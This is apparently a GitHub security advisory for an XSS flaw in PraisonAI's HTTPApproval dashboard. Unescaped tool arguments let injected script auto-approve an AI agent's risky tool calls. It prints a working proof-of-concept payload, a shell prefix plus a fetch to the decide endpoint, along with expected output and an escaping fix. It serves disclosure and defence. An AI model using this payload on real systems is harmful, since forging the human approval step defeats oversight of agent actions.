GitHub Advisoryadvisory · PyPI
GHSA-63v4-w882-g4x2 PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
HIGH
Official page ↗
- Aliases
- CVE-2026-56840
- Ecosystem
- PyPI
- Packages
- praisonai
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-79
- Reviewed
- 2026-06-18
Affected packages
• PyPI praisonai: >= 4.5.2, < 4.6.59 → fixed in 4.6.59
Description
HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools
Summary
`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly
into the approval dashboard HTML. An attacker-controlled tool argument can
inject JavaScript into that page. When a human opens the approval URL to inspect
the risky tool request, the script runs in the dashboard origin and can POST to
the same request's `/approve/{request_id}/decide` endpoint, causing
`HTTPApproval` to return `approved=True`.
The local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at
the approval decision. It does not execute the command.
Affected Versions
Proposed affected range: `>= 4.5.2, "
"fetch(location.pathname+'/decide',{"
"method:'POST',headers:{'Content-Type':'application/json'},"
"body:'{\"decision\":\"approve\"}'})"
""
)
async def main():
backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
request = ApprovalRequest(
tool_name="execute_command",
arguments={"command": payload},
risk_level="critical",
agent_name="pov-agent",
)
task = asyncio.create_task(backend.request_approval(request))
request_id = ""
for _ in range(100):
if backend._pending:
request_id = next(iter(backend._pending))
break
await asyncio.sleep(0.05)
assert request_id
url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
page = await response.text()
raw_script_present = "fetch(location.pathname+'/decide'" in page
script_not_html_escaped = "<script" not in page
payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
payload_not_truncated = "..." not in page[
page.find(""):page.find("") + len(payload) + 10
]
assert raw_script_present
assert script_not_html_escaped
assert payload_not_truncated
# Same request the injected same-origin script submits.
async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
post_body = await response.text()
decision = await task
await backend.shutdown()
print(json.dumps({
"payload_len": len(payload),
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": raw_script_present,
"script_not_html_escaped": script_not_html_escaped,
"payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
"payload_not_truncated": payload_not_truncated,
"post_body": post_body,
"decision_approved": decision.approved,
"decision_reason": decision.reason,
"vulnerable": bool(
raw_script_present
and script_not_html_escaped
and payload_uses_same_origin_decide_endpoint
and payload_not_truncated
and decision.approved
),
}, indent=2))
asyncio.run(main())
```
Expected affected output includes:
```json
{
"payload_len": 175,
"payload_shell_prefix": "touch /tmp/prai010",
"raw_script_present": true,
"script_not_html_escaped": true,
"payload_uses_same_origin_decide_endpoint": true,
"payload_not_truncated": true,
"decision_approved": true,
"vulnerable": true
}
```
The relevant injected argument shape is:
```text
touch /tmp/prai010 # fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})
```
The shell prefix demonstrates that the same argument can be executable shell
syntax after approval; the PoV stops before executing the tool.
Suggested Fix
Escape every untrusted value before inserting it into the approval HTML:
• `tool_name`
• `risk_level`
• `agent_name`
• every argument key
• every argument value
For example, use `html.escape(str(value), quote=True)` or a template engine that
auto-escapes by default. Add regression tests that include `...`
in tool arguments and assert that the rendered page contains escaped text, not a
script element.
Minimal patch shape:
```python
from html import escape
def h(value: object) -> str:
return escape(str(value), quote=True)
tool_name = h(info.get("tool_name", "unknown"))
risk_level = h(info.get("risk_level", "unknown"))
agent_name = h(info.get("agent_name", ""))
args_html = ""
for k, v in arguments.items():
val_str = str(v)
if len(val_str) > 200:
val_str = val_str[:197] + "..."
args_html += (
f"{h(k)}"
f"{h(val_str)}"
)
`…
Related
Alias · CVE (1)
- CVE-2026-56840 PraisonAI is a multi-agent teams system. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness